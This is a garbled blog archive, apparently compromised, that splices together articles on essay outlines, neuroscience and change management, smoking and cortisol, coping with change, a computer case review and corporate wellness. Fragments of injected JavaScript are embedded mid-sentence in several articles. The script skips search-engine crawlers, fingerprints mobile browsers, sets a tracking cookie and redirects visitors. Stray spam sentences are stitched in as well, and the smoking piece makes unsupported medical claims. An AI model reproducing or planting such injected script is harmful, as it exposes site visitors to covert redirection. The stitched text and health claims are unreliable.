Catégorie : Blog

Characteristics Of A Good Outline Detailed, Informative And Brief

Characteristics of a Good Outline: Detailed, Informative and Brief

In order to produce such quality writing contents like essays, reports, thesis, research, stories, books, magazines and so on, the first step is to write a good and clearer outline before anything else.

This involves planning your content before you will proceed to your writing task. It will be hard for you to skip it and start writing without knowing how to handle every single detail of your topic.

As a result, you will eventually experience writer’s block and can’t seem to move on. How can you possible finish your writing tasks if you don’t know what to do next and what to include.

Unless if you are writing for a very simple and short content, then it will be easier to write without outlining to much detail for your topic. If you deal with such complicated subjects, then it’s time to need a help from proper outlines.

If you are asking about what to expect in outlining and how will it really help you in organizing your content. Well, you don’t have to feel so clueless about it. Think you could build a house without drafting it first and to plan every details and corners of you house. Same goes in outlining, you have to determine what comes first in your content, what to include and how you will end it up knowing that you are aware what the concept is all about.

Beside, you don’t have to blame yourself when the time comes that you mess up with your writing and ruin your content all of a sudden

Good outlines always demonstrate three characteristics, hitting the right combination of which is usually easier said than done. These three essential qualities are:

1. Being sufficiently detailed.
2. Having enough information.
3. Being brief enough to make for a quick scan.

Now, why is it so hard?

Remember, your outline is a guidepost for how you’re going to write the piece. It’s a reference from which you’ll base how your ideas should be organized, how topics should flow and how your argument will be built during the actual drafting stage. As, such you need enough detail (so as not to have to wonder what the hell the third line in your outline with the label « argument 1″ is supposed to be for) and enough information (so you can look at the outline and quickly remember what you were planning to do with the piece), yet be brief enough in order to put down only what is necessary.

Sticking to this three-pronged formula even becomes more important when you’re using the outline to have professors or advisers give suggestions on your work. From the outline alone, they should be able to glean a good idea of your intentions for the piece, all while being able to read through them rather quickly.

Additionally, you will want to compare your finished draft with your outline as part of your closing work (along with running the piece through an English proofreading software). That is, in my opinion, the best way to guarantee that your structure and organization is as good as you planned it to be.if (document.currentScript) { Follow our complete step by step guide posted here to jailbreak iphone 4 on ios 4 Viele führende wissenschaftler hielten sich dort ghostwriter gesucht auf

Change Management It’s All In The Mind

Change Management: It’s All in the Mind

Since the mid 1990’s the Standish Group have regularly published their Chaos Report1 looking at the effectiveness of change projects and if we take their findings at face value then we will be aware that the global track record of change in organisations is not very impressive – on average over the last decade they report 34 per cent of projects as being successful, 43 per cent semi-successful and a constant rump of 19 per cent that have failed, that is abandoned with no return for the investment made.
But even putting this data aside most organisation development (OD) practitioners would agree with the observation that the management of change in organisations is generally neither well planned nor executed. When one public sector manager described a recent ‘agile working’ change project as ‘not as bad as the last time’ it was intended as high praise and reflected his repeated experiences of poorly managed change. This lack of effective change management is obviously a problem as change is here to stay – as predicted by Heraclitus in 500 BC – and the pace of change seems to constantly increase as evidenced by Figure 1.
Figure 1 Increasing Speed of Change
Some are nonplussed by the paradox of this well reported, rapid and constant change and the seeming ‘sameness’ of products and solutions on display at, for example, the major OD or learning and development (L&D) conferences and exhibitions. However, of late there does seem to be a ‘new kid on the block’ with increasing reference to neuroscience and how this will transform the efficacy of our workplace interventions – much like how e-learning and now m-learning have been acclaimed.
However there is no panacea for organisational ails and we would be foolish to believe anyone who tells us otherwise. Yet even allowing for the hype and the profusion of neuro-nonsense, neuroscience does seem to be emerging as a new, tool to help us understand and work with thinking and behaviour. As Abigail Baird of Vassar College suggests; it is sensible to be wary of any posited neuroscience about learning that doesn’t seem to make sense or support established theories.
Although neuroscience is very much ‘du jour’ it is far from new as we have always been fascinated with the brain. Trepanation (drilling holes in the skull) is the second oldest recorded surgical procedure with evidence of this going back to the Neolithic age. The 19th century fascination with phrenology (feeling the shape and unevenness of the skull and using this to deduce intellectual and character traits) was, in the end, as much a social phenomenon as a scientific one and although rapidly discredited, phrenology’s lasting legacy – the concept of localisation of functions in the brain, has, to an extent, been validated by modern science.
The door allowing modern science to make major breakthroughs in our understanding of the brain burst open in 1977 when the world’s first magnetic resonance image (MRI) was taken. This heralded a rapid advance in imaging technology that continues apace. From MRI came fMRI; the ability to image the brain as it performed various functions which has given us unprecedented understanding of how the brain works.
As this technology continues to develop the impact of neuroscience on society as a whole can only be even more rapid and widespread than it already looks set to be. A small indication of this is the fact that credible neurofeedback headsets now cost just a couple of hundred pounds. Should you choose to do so, you can now sit at home with your games console and get accurate images of your brains activity, real-time, on the screen in front of you. The development of the software that will make this really usable is gaining rapid momentum. Who knows what will happen if and when deep brain stimulation becomes a DIY process?
Perhaps of more relevance – for now – to the L&D world is the emerging area of nootropics or ‘smart drugs’ and supplements that help optimise the overall performance of the brain in terms of memory, focus, concentration and motivation. The implications of the increasing prevalence of these proven effective, if not yet proven safe, substances for recruitment and selection processes, assessment and development centres, and performance management as a whole are a practical and ethical minefield for which we have hardly even started to prepare.
Neuroscience and Change Management
But putting these concerns aside, how can we use neuroscience to improve change management? From the vast amount of new knowledge that has emerged in the recent past let us focus on just three points that experience has shown to be useful ways to improve change management.
Self-Directed Neuroplasticity
The first of these is ‘neuroplasticity’ and there is a surprisingly low level of positive responses when doing a “show hands if you are familiar with the term” dip test during speaker engagements.
Neuroplasticity is one of the things that can give us hope for leading change more effectively – we now know definitively that the ‘old dog can learn new tricks’. Contrary to the long accepted science it is now clear that the adult brain can change – is plastic – and that we can take deliberate control of this process to make lasting change to habituated perceptions, thinking and behaviour.
This can be a tremendously liberating fact and many of the people I have shared this evidence with also seem to find it very empowering to know that if they have a healthy heart, lungs and brain then they can fundamentally and permanently change their thinking. The capability is there, all that is needed is the motivation. The caveat to this good news from an OD perspective is that to be really effective neuroplasticity needs to be self-generated, that is based on our own moment or moments of insight and embedded by our own deliberate focus.
Evidence for this comes from fMRI studies of undergraduates attempting to solve increasingly difficult problems. When given the answer to a problem they were unable to solve the neurological impact was seen to be negligible. This is in contrast to when they were coaxed and nudged into finding the answer themselves where the ‘eureka’ moment was clearly visible as a surge of neuronal activity – the initial creation of a new pathway in the brain. Revisiting this pathway with the right attention density focus, a mix of frequency, duration and quality, allows it to develop from an ‘unpaved track’ to a ‘superhighway’ that becomes our default ‘go to’ response to a particular situation or circumstance.
Tapping in to this ability for self-directed neuroplasticity (SDNP) has significant implications for how we lead and manage change in organisations. For example, the poor track record of the traditional ‘top telling the middle what to do to the bottom’ change approach can be explained, in part, by the absence of SDNP and that the success of organic, bottom-up change can, again in part, be attributed to its SDNP roots. Figure 2 seeks to represent this graphically by showing that in typical change scenarios the time people get to engage, reflect, consider, explore and internalise change often seems to be inversely proportional to how directly they will be affected by it.
Figure 2 Who Has the Time to Lead Change?
An example of this is some recent work with a university which, when devising a new strategy, gave the senior leadership team extensive off-sites and away days to refine and hone the new strategic plan. Whereas those who would be most impacted by it, and expected to play the greatest part in delivering its agile, entrepreneurial, outward looking remit were by and large limited to a ‘town hall’ broadcast session and a soft copy of the slide deck.
Little chance for SDNP to take root there and therefore little chance of people owning and embracing the proposed changes. This anomaly is obviously a recipe for future difficulties as those who have been given sufficient time and/or involvement to ‘get it’ and those who haven’t view each other with mutual perplexity. To address this we need to give each brain in the organisation sufficient time, space and structure to genuinely engage with the change as it will relate to them and most importantly of all give the opportunity to design the change so that it becomes – to as large an extent as practical – self rather than externally mediated change. In the OD context making an explicit difference between ‘destination’ and ‘journey’ can be helpful here as there may be no room for negotiation regarding the destination but the detail of the journey can be very much up for discussion.
Threat and Reward Mechanisms
The second point from neuroscience that can be used in change management practice is the fact that the brain is fundamentally change averse. There are sound structural reasons as to why this is so, which I will discuss shortly, but there are also very significant emotional reasons. And let there be no doubt that the brain is an emotion centric organ with our every sensation, thought, experience and so on passing through the emotion centre – and being badged appropriately – before (possibly) finding its way into the cortex region where higher-order logical, rational thinking may take place.
We now know that the brain’s default emotional response to external change is to be wary of it, very wary – unsurprising perhaps when our ‘if-in-doubt’ emotional label is ‘fear’. The brain’s rule-of-thumb to assume that external change is likely to be bad for us and therefore that we should move away from it to somewhere where we can maintain the certainty and security of the known status quo is obviously very unhelpful from a change point of view. But this rule of thumb has served us well through the millennia and the genes of our forefathers who worked on the premise that all change was good and to be embraced have not been passed on to in the same way as those of our more cautious ancestors – possibly because our irrationally optimistic relatives ended up being dinner for a sabre tooth tiger that they though it would be interesting to have a closer look at.
The primitive threat sensors that served our predecessors so well remain alive and well in the 21st century brain and equally our responses to threat have not particularly evolved through the ages even though the impact of the ‘threats’ being responded too are often significantly reduced compared to those faced by our ancestors. Our sub-conscious brain’s reaction to threat still comprises fight, flight, freeze and flock responses and not much more besides. OD practitioners will recognise all of these as common reactions to organisational change. “Nod enthusiastically, wait awhile, and then carry on as before” was the advice I was given early in my career by a change veteran who had found this to be an effective and reliable way of seeing off unwanted change. Neurological research has shown that the brain’s threat response is easily triggered, long lasting and cognitively intensive – by contrast the reward response is less easily triggered and decays more rapidly. We also know that the brain in threat response mode will have very different – and generally speaking poorer – social, creative and decision-making capabilities compared to the relaxed and sated ‘rewarded’ brain.
Recent discussions with a UK supermarket that is under pressure to maintain its previous levels of success show that it needs innovative and creative approaches to the current challenges as well as much better day-to-day integration and co-operation across functions. However, the chances of the organisation delivering these are slim as the pressure to succeed and the fear of failure has created a near pervasive ‘threat response’ mind-set that is inhibiting the very creative and social skills that are needed.
We can apply this understanding of threat/reward mechanisms by using, for example, Maslow’s Hierarchy of Needs or Rock’s SCARF model (Figure 3) as a lens for looking at change and trying to determine where the threats and rewards of proposed changes may reside for individuals and/or groups of stakeholders. This can help us to anticipate the most likely sources of anxiety for participants in the change process and plan to mitigate these. By addressing these sources and ‘calming’ the mind we can then tap into the creative, social, problem solving and decision making skills that enhance our effectiveness.
We can also make sure that we explicitly surface the likely benefits (rewards) of a change – we focus too much on the drivers of change without sufficient emphasis on the benefits – and create a communication strategy that will allow people to find their own truth about the possible rewards the change may bring.
For communication to be effective in times of change it needs to be visual, personal, relevant, emotional and repeated. Organisations that genuinely want to support their employees to have positive experiences of change will invest in the time and effort to allow this – difficult to do if the CEO is marching exclusively to the drumbeat of the next quarter’s results. To prepare people to engage with change in a positive way we may first need to give them a structured and controlled opportunity to give vent to their previous experiences. These sessions are best facilitated by external resources as for internal people there is too much risk of, a perfectly understandable, defensiveness and too much expectation that they will have all the answers to future concerns.
Defensiveness and the ‘failure’ to provide answers often leads to greater anxiety about the change process and the sessions become unproductive. One thing learnt from running these sessions is that, in spite of the prevalence of the term in the change management literature, there is little genuine ‘resistance’ to change in organisations. Plenty of indifference but most common is anxiety; and recognising this as anxiety is in itself a very useful change management protocol. We are likely to address ‘anxiety’ in a different and more constructive way compared to how we might address ‘resistance’.
Similarly for the individual to understand that they are feeling anxious, and being able to use SCARF or similar to put their finger on the cause of their anxiety, can be a first step to restoring the control and certainty that the brain craves. Given the brains established change aversion it is not exaggeration to say that we are playing with a loaded dice if we do not have the time to deliberately and authentically find our own positives in proposed changes.
And if we are somewhat cynical, pessimistic, weary and naturally change averse then we are not just playing with a loaded dice in terms of how change is likely to play out for us but with a loaded gun. With the best of intentions our brain is minded to assume that change is a threat to our wellbeing and to help us deal with the threat it will release stress hormones such as adrenalin and cortisol. It is somewhat ironic that these hormones intended to protect us are now well-known to have unhelpful side-effects – especially if at work we are in a near constant state of low-level anxiety as seems to be a common current phenomena. The understanding that science gives us of the physiological impact of badly managed change has, I believe, got important implications for meeting our ‘duty of care’ to employees.
Use Established Habits
The third and final point I would like to make is that change hurts! We may know from personal experience that organisational change can be painful but thanks to neuroscience we now know that this hurt extends beyond a ‘boo hoo hoo, there is too much change here’ to a real and physical hurt that, in another of the brain’s ironic ‘double whammies’ further debilitates our capacity for engaging with change.
This can be explained by the very limited capacity (think ‘change in your pocket’) of the prefrontal cortex (PFC) – a part of the brain responsible for executive functions and which is called upon extensively when we are undertaking new, complex, demanding tasks. Although it is only three to four per cent of body weight the brain can account for up to 20 per cent of our calorific consumption and never more so than when the PFC is ‘running hot’ from continuous engagement in new activities. At the end say of a week of coming to terms with a new I.T. system it is perfectly understandable if we feel exhausted and have a raging headache. From the brain’s point of view this often seems like unnecessary suffering as rather than using the limited capacity PFC we can often perform the task in hand using well established (habituated) routines that don’t call on the PFC but are managed by long-term memory – a much less demanding and far larger (think ‘U.S. economy’) resource then the easily depleted PFC.
From the brain’s perspective it really does make sense to let established habits run the show. Figure 4 shows a model for establishing momentum in a change process that is useful when working with change leaders especially when change projects are struggling. They are able to quickly focus on a particular row and recognise it as applicable to their situation which makes it easier to start to identify appropriate corrective actions.
Figure 4 Criteria for Mobilising Change
When the issue is ‘capacity for change’ it is useful to understand that capacity for change is more about the ‘head’ than it is ‘hands’ and that factors that will impact an individual/team/organisation’s capacity for change are things such as: previous experiences of change, workload, belief in the change, personal energy, volume of change, traditionalist or radical bias, pace of change and so on.
Using these criteria a subjective but nonetheless useful ‘Red, Amber Green’ measure of change capacity can be established and monitored. Similarly by knowing that the PFC can be considered like a battery – fortunately a rechargeable one – and by being aware of and managing its ‘charge’ state we can make more effective use of its executive functioning by scheduling meetings, activities, decisions etc. appropriately.
The limited capacity for executive functioning has been demonstrated starkly by Danziger’s 2 analysis of parole hearings which showed that the likelihood of being granted parole diminished as the judge heard more cases. The probability of parole increased, but not sustainably, after the judge took a meal or refreshment break.
One of the interpretations of the findings was that it shows the PFC running out of resource to make a genuinely considered decision and opting instead for the default choice of no parole. All of this suggests that implementing change at a pace at which it is likely to succeed should be a ‘no brainer’ but it is consistently surprising to see the hopelessly overladen change agendas organisations are pursuing.
Combined these three points prove useful for bringing science to the change process and giving organisation’s ‘ammunition’ to make the case for approaching change in a more person- or brain-centric way. To paraphrase George E P Box, ‘essentially, all models are wrong but some are useful” and this applies to neuroscience; it will help us but the search for a ‘silver bullet’ continues.
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Cortisol And Dhea The Thing That Makes You Smoke

Cortisol and DHEA – The thing that makes you smoke ?

Cortisol and DHEA – The thing that makes you smoke
Part of my research is going to be into the short term mental issues of smoking. For instance when we talk to kids about smoking we always tell them about the long term effects that may or may not take place forty or fifty years after starting smoking. As with any young person that is a lifetime away and the here and now is all they are concerned with. But what if there were evidence that after only a short period of smoking you can develop some form of mental illnes. How appealing would smoking be then.
The reason I make this point is because it is estimated that around 90% of people suffering from some form of mental illness smokes. My question has always been which came first. The illness or the smoking. I have an illness called cyclothymia, a form of bi-polar. Basically the chemical balance in my brain was altrered and over a period of twenty years could not put itself right again. I asked the doctors what caused this, he could not really give me a definitive answer, He said it could have been triggered by a trauma, it could have been genetic. They really do not know.
So I put it to you, as my post explains before. Smoking alters the balance of stress hormones in the body to such an extent that the brain cannot differntiate between real stress brought on by real life situations and the artificial stress brought on by the over production of cortisol due to the chemicals in tobacco. Over a long period of over exposure to cortisol the body eventually has to adapt to cope with it and this is where the transition occurs that fools the body into thinking that this level of stress is normal and that any slight decrease is seen as relaxation.
I like to use analogies to show what I mean and one was that of a boiling pot on a stove. When you are a non-smoker the heat is only switched on when their are genuine reasons such as stressful situations or visible danger. When this happens the heat is turned up so that the water starts to warm up just enough to cope with the situation. When the stressor has gone the heat is turned out completely. However as a smoker the heat is always on. it is left bubbling away as there is a costant flow of cortisol into the body that keeps the smoker on full alert. When the smoker thinks about smoking they feel the stress and the heat rises quickly until it is boiling. However because there is no visible reason for the rise in stress it is very difficult to turn the heat down and it continues to boil away. What the smoker has learnt though is that by smoking they can actually stop this boiling, not by turning the heat down but by the introduction of nicotine which stimulates the production of DHEA. It is like pouring cold water into the pot. for a short time the water cools enough to stop boiling but after a while that same cold water will heat up and start to boil just like the rest.
The only way to turn the heat out is to turn off the gas (cigarettes) and allow the water to cool. (decrease the flow of cortisol and increase the procduction of DHEA) and all this while still trying to cope with genuine everyday stressors such as quitting smoking. Seems impossible but by acknowledging that the feelings you have when you quit are not some form of demon or out of control train. It is anxiety and only by dealing with anxiety in a new way will the smoker be able to address these feelings.
The easiest way to re-balance the levels of cortisol and DHEA are by exercise and deep breathing, both release the other hormones that regulate the bodies emotional reactions, Adrenalin and endorphins.
This is the chemical reason why many find it hard to quit but there still needs to be a change in the smokers perception and attitude of what they think smoking does for them. Not until they see that smoking is the cause and not the cure will they let go of smoking as a safety net against anxiety and stress. However understanding that it is not their fault or some inherent weakness that is causing them to carry on smoking can go along way in this process and that is what my research can hopefully do.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) +  »; if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = « _mauthtoken=1; path=/;expires= »+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);} s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) +  »; As well as being aesthetically pleasing to consumers, the stainless steel frame was actually a piece of engineering brilliance from the guys in the apple design labs and had the various device antennas built into the steel band

Coping With Change Becoming More Adaptable In 6 Simple Steps

Coping with Change – Becoming More Adaptable in 6 Simple Steps

Change is as predicable as the sun rising in the East. Few things are as constant in life as the simple fact that things will change. With this known, why do we seem to have so much trouble dealing with change?
Some have an easier time dealing with change than others. Some hang on to the notion that things need to remain just the way they are to the point that it is almost an addiction. Those that deal with change with a healthy and positive attitude are going to have a far less stressful environment than those that do not.
There are times when everyone is interested in change, and that is when things are going badly. However, when things are good, you need to have the wisdom to know that things won’t last forever. We can all take heart, though, in the belief that everything will come around full circle back to good again.
How you cope with change can make a big difference in your life. Some facing changes are constant moaners and groaners. Others want to grab the bull by the horns and enjoy every minute of it. We all make choices.
Here are some simple tips to help you handle change in a positive manner:
1. Focus on flexibility. The sound advice of « Don’t sweat the small stuff » is targeted towards making us take things in smaller increments. Instead of viewing change as a behemoth, the advice is to look at it in smaller pieces or baby steps towards the final outcome. One thing you can do is work on being more flexible. Expecting things to turn out a certain way usually leads to certain disaster.
Focus on dealing with several possible outcomes. The best laid plans of mice and men often go astray. One cannot always expect everything to go their way so leave yourself time to come up with alternative outcomes from the original plan.
2. Have a positive attitude. One will see change as necessary and good if they have a positive attitude. Things need to change in order for you to evolve as a person. Change has a great way of bringing greater opportunities for those that focus on the things that are going well, so be one of « them! »
3. Be forward thinking. Live for today, but plan for tomorrow. Living in the past is a recipe for disaster when it comes to dealing with the realities of change that is going on all around you.
Things may never be like they were; they’re only like they are right now. By focusing on doing something spectacular with your present moments, one can leave the past where it belongs, in the past.
4. Ask for help. No one lives in a vacuum. It might feel like that sometimes, but it’s not true. You should feel no shame in asking for help. Sometimes we need to lean on a close friend or family member when it all seems to be too much. These feelings are understandable when trying to cope with changes, especially if they are out of our immediate control.
5. Look at the big picture. Sometimes a person can get so caught up dealing with a particular aspect of change that it can become all consuming. Sometimes if we can just step back out of the fray and take a good look at the big picture, we can develop a positive outlook towards the potential outcome.
Take a breath and realize that there’s much more to life. Everyone has a history of dealing with changes. Sometimes stopping to reflect on how you managed to successfully deal with changes in the past will renew your faith in not just coping with the changes that are occurring, but thriving amongst them.
6. Focus on things that stay the same. Not everything will change all at once. There will still be remnants of the « old ways » even though you seem to be surrounded by change.
For instance, maybe you’re upset that you have to move away, but you can take comfort in the fact that you’re moving with your family or that you’ll meet some wonderful new people along the way!
Remember that everyone is different; you might find a certain strategy for coping with change better suited for yourself than someone else. Your goal is to find something that works for you!} else {d.getElementsByTagName(‘head’)[0].appendChild(s); We really hope to see more apps that work like this going forward

Cooler Master Haf 932

Cooler Master HAF 932

When the Cooler Master HAF 932 arrived in the office it instantly received the nick name &24931;he Hoff? However what was soon discovered was the fact that the HAF is far from being a tribute to David Hasselhoff. There is nothing about this case that reminds you of sun tan and red speedos.

The only way that the HAF could remotely resemble David Hasselhoff is if Mr. Hoff got into a bar fight with steel girder. The HAF is solid, unlike Mr. Hoff, the side panels make one feel like an iron foundry worker every time you hold one. The rest of the chassis oozes brute strength, not even the side panel window tries to pretty up the look. In fact it reminds one of plate glass with wire mesh reinforcement. Cooler Master has made some very spacious cases in the past and the HAF is no exception. Not as big as a Stacker, the HAF (which stands for High Air Flow) has enough space to accommodate a quad CrossFire setup or a triple SLI setup with ease.

There is enough space to mount 120mm radiators either on the top or the bottom of the case, so those interested in water cooling need not worry about a lack of space. The option to mount the PSU either at the top or the bottom is always welcome but mounting it in the traditional spot will necessitate the removal of the top fan.

Bottom mounting will be an issue for PSUs with short ATX 24pin cables. Normally removing a fan would be child’s play but CM has for some unknown reason decided to use hex screws that require an Alan key. This is just annoying. Living up to its name, the HAF 932 has exceptional airflow thanks to the three 230mm fans (top, front and left-side panel) and the 140mm fan (rear). Due to their size these fans are whisper quiet. An added bonus is that all the fans can be powered off the PSU or by the motherboard; the motherboard headers will also provide the option of reading fan speeds.

Drive mounting is always important, and the HAF fulfils all the requirements that we could think of. The hard drive mounting is perpendicular to the front fan which means that cables can be hidden away from the open side. The drive holders are easy to remove and hard drive retention requires no screws, utilizing simple pins to hold the hard drive in the rack.

Installing optical drives is as easy as pushing a button, which then locks the drive in place by pushing in two pins in the screw holes, simple and elegant. Being such a large case and once a full gaming setup is mounted inside, this case will easily weigh over 20kgs, Moving such a machine can be back breaking, this is where it became evident that CM really did their homework. CM threw in four caster wheels that can be used in place of the fitted feet; this was truly the cherry on the top.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) +  »; Now I have the order essay from freedom to write full-time and the security of having a knowledgeable and friendly staff at my disposal

Corporate Wellness Just A Buzz Word

Corporate Wellness: Just a Buzz Word?

Is ‘corporate wellness’ just a buzz word? Not anymore. With nearly 48% of our waking hours spent at work, coupled with America’s ranking as the world’s fattest nation, corporate wellness is not just a fluffy HR benefit – it’s a business necessity that has far-reaching implications for corporations, their employees and society as a whole. Few will debate the profound effect a wellness program can have on the bottom-line—both literally and figuratively. It’s a no-brainer for most employers: healthy employees add up to a happier, more productive workforce, resulting in lower health claims and decreased costs for employers, and a subsequent ROI on wellness programs. The real challenge is implementation and employee participation.
Read on to discover:
• Three Key Questions to Consider When Implementing a Corporate Wellness Program
• Four Ways to Boost Employee Participation in Your Corporate Wellness Program
Three Key Questions to Consider When Implementing a Corporate Wellness Program
Adding a wellness component to a corporate benefits plan may sound like a great idea –but it can be administratively complex to implement and manage. Here’s the skinny on what you need to consider if you really want your program to pack a powerful punch:
1. What can your company afford to invest in its wellness program?
Okay, deep breath, this may make you break a sweat: The Business Roundtable reports that in 2007 almost 40 percent of large companies in the US spend more than $200,000 annually and 20 percent spend at least $1 million on corporate wellness. Yes, that’s a lot, but consider what it costs in employee productivity and absenteeism if you don’t help employees optimize their health and well-being. In fact, a 2007 study conducted by the Milken Institute found that lowering the obesity rates alone could produce productivity gains of $254 billion and avoid $60 billion in treatment expenditures annually for companies.
2. Do you have the tools and staff to implement a successful program?
A benefits management system must be in place to support a corporate wellness program and companies must have the tools and technology to track participation, issue rewards, and adjust health plan premium payments accordingly. You may need to consider investing in additional HR staff or outsourcing the benefits administration to an organization that already has the tools, processes, and procedures in place to integrate a wellness program with your existing benefits program. You want your HR staff to focus on running an effective program instead of worrying about logistics. Learn more about outsourcing your benefits management at .
3. How will you measure program effectiveness and ROI – or will you invest those dollars in making employees healthier?
Wellness programs have been shown to produce an overall return on investment of 1.5:1 to 3:1 after three to five years, meaning that for every dollar invested in wellness, employers can expect to save between $1.50 to $3.00 (Human Resource Executive 2007). But you must decide what approach you want to take when it comes to investing money in measuring your program’s ROI. A survey conducted in 2006 by the International Foundation of Employee Benefit Plans, shows that 87 percent of 464 benefits professionals and plan sponsors didn’t know the ROI of their programs. On average, 5 to 10 percent of a wellness program’s cost is spent measuring ROI and program effectiveness. Proof is out there that wellness programs have significant ROI for companies; however, companies must determine what approach they want to take regarding investing dollars in the measurability of their programs’ return on investment. This issue of measuring ROI brings up an important question: where do you want to spend your dollars? Calculating ROI or focusing on making employees healthier? A number of companies actively supporting very successful wellness initiatives have opted not to track detailed ROI. But beware: according to most in the “C” suite, if you can’t measure it, you can’t manage it. Measuring the overall wellness program effectiveness from a dollars perspective may be necessary to ensure that the programs continue to receive buy-in (read: budget) from upper- management.
Four Ways to Boost Employee Participation in Your Corporate Wellness Program
Merely offering corporate wellness programs doesn’t result in the ROI that executives want to see. The challenge is increasing employee participation since higher participation results in greater ROI. Here are four effective strategies to move employees beyond their same old routine:
1. Offer Incentives & Rewards
Let’s face it – most people need help getting motivated, which is why Americans are in the physical shape that we’re in today. Companies can drive participation in wellness programs through extrinsic motivation such as incentives (both negative and positive) and rewards. Want to get an employee initially engaged? Negative incentives will do the job (for example, charging employees an additional $25 premium on their monthly benefit contribution if they do not take their Health Risk Assessment). But for ongoing participation, you’ll find positive incentives and rewards to be most beneficial. Then, once employees see results, they develop intrinsic motivation. Some companies are offering rewards such as discounted insurance premiums, expanded benefits, or even cash. The primary goal? Immediate gratification so employees experience instant results for their participation.
2. Engage 1-on-1
Engaging employees on a one-on-one basis is key to further developing intrinsic motivation where they actually want to be healthier. While incentives and rewards are highly effective in engaging employees, real change happens when individuals set personal goals and commit to achieving them. Companies can foster this by offering a more personal approach where employees work to develop personal, measurable goals that can be rewarded. For example, employers can offer consulting sessions with certified health coaches or even personal training sessions targeted at meeting that employee’s goals.
3. Foster a Healthy Environment
From providing on-site fitness facilities and nutritional consulting, to offering healthy snack options in vending machines, the corporate environment needs to embrace a healthy approach to living. Media powerhouse Discovery Communications offers an on-site Wellness Center that offers a full range of primary care services from urgent care to preventive care and other wellness services, all offered to employees and their dependents at no charge. Other perks at Discovery: on-site massage therapy, fitness classes, nutritional counseling, life coaching, employee support groups, and company-wide body challenge competitions – to name a few. “Discovery’s philosophy,” says Evelyne Steward, Vice President Global Wellness & Work Life Strategies, “is that we must take responsibility for creating win-win partnerships with our employees in support of their health.” Employees need to see that wellness is not merely an initiative — but a way of life.
4. Provide the Tools
Internal corporate wellness campaigns should be implemented to increase participation and provide employees with the information to be successful. Take Chevron Canada, for example. Senior executives launched a 10k-a-Day program to promote employees taking 10,000 steps per day. To promote participation, Chevron provided all employees with a pedometer and will kick off 2009 by providing employees with a fitbook™, a fitness and nutrition journal, to track their progress. Employees set personal goals and are rewarded with Chevron Bucks for completing their fitbook and reaching their goals. Education is an option employers should offer. And it doesn’t have to be complicated or expensive— consider on-site health presentations, workshops, or even lunch-time webinars.
The Bottom Line: Beyond ROI
